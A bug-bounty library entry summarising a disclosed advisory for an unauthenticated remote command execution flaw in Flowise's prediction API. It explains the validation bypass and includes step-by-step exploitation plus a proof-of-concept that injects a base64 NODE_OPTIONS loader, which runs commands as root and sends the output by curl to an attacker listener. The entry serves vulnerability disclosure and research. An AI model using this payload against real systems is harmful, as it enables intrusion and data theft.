# Flowise: Parameter Override Bypass Remote Command Execution

Flowise's FILE-STORAGE:: substring check bypasses parameter validation, letting unauthenticated attackers inject NODE_OPTIONS into mcpServerConfig and execute root commands via one HTTP request.

- Payout: Research
- Severity: high
- Program: Flowise
- Found by: retpoline
- Disclosed: 2026-04-16
- CVE: CVE-2026-41268
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-cvrr-qhgw-2mm6
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-cvrr-qhgw-2mm6
- Tags: area:ai domain:ai impact:internal-access impact:rce kind:research platform:ghsa sev:high tech:docker tech:nodejs technique:source-review vuln:access-control vuln:rce

**Target:** Flowise prediction API endpoint /api/v1/prediction/{chatflowId} with API Override enabled
**Root cause:** replaceInputsWithConfig uses .includes('FILE-STORAGE::') instead of .startsWith() and skips isParameterEnabled() entirely when matched, so any parameter (e.g. mcpServerConfig) can be overridden; the Custom MCP node's env blocklist omits NODE_OPTIONS, permitting --experimental-loader injection.
**Steps:**
1. Start Flowise: `docker run -d --name flowise-test -p 3000:3000 flowiseai/flowise:latest`
2. Create chatflow with Custom MCP node connected to a Custom JS Function ending node; set MCP config `{"command":"npx","args":["-y","@modelcontextprotocol/server-everything"]}`
3. Enable API Override and make the chatflow Public; note chatflowId
4. Base64-encode loader JS that runs `execSync` and exfiltrates output via curl to a listener
5. POST to `/api/v1/prediction/$CHATFLOW_ID` with body `{"question":"trigger","overrideConfig":{"mcpServerConfig":"/* FILE-STORAGE:: */ {\"command\":\"npx\",...,\"env\":{\"NODE_OPTIONS\":\"--experimental-loader data:text/javascript;base64,<ENCODED>\"}}"}}`
6. Observe command output (uid=0(root)) arriving at the netcat listener
**How found:** Code review of replaceInputsWithConfig validation logic: noticed .includes() rather than .startsWith() and that the branch skips isParameterEnabled(); then audited the MCP node env blocklist and found NODE_OPTIONS missing, chaining to --experimental-loader.
**Exploitation:** Unauthenticated single POST to the public prediction endpoint; the comment-wrapped FILE-STORAGE:: marker passes the substring check, overriding mcpServerConfig so the MCP node spawns npx with NODE_OPTIONS=--experimental-loader pointing at a base64 data: URL loader; the loader runs execSync as root and exfiltrates output via curl to an attacker listener.
**Escalation:** Root in container enables secret/credential theft and lateral movement into internal networks.
**Insight:** When a validation branch short-circuits authorization (here skipping isParameterEnabled), look for substring-based sentinels you can smuggle inside comments/strings; also diff env-var blocklists against Node's full set of code-loading vars (NODE_OPTIONS, --require, --import).

## Proof of concept (copied exactly from the original report)

**Malicious MCP config with base64 loader payload**

```
LOADER_CODE='import{execSync}from"child_process";const cmd="id && pwd && ls";const out=execSync(cmd).toString();try{execSync("curl -s -m 3 --data-binary \""+out+"\" http://'$LISTENER_IP':5000");}catch(e){}export{};'

ENCODED=$(echo -n "$LOADER_CODE" | base64 | tr -d '\n')

# Construct the crafted MCP config
CONFIG='{"command":"npx","args":["-y","@modelcontextprotocol/server-everything"],"env":{"NODE_OPTIONS":"--experimental-loader data:text/javascript;base64,'$ENCODED'"}}'
```

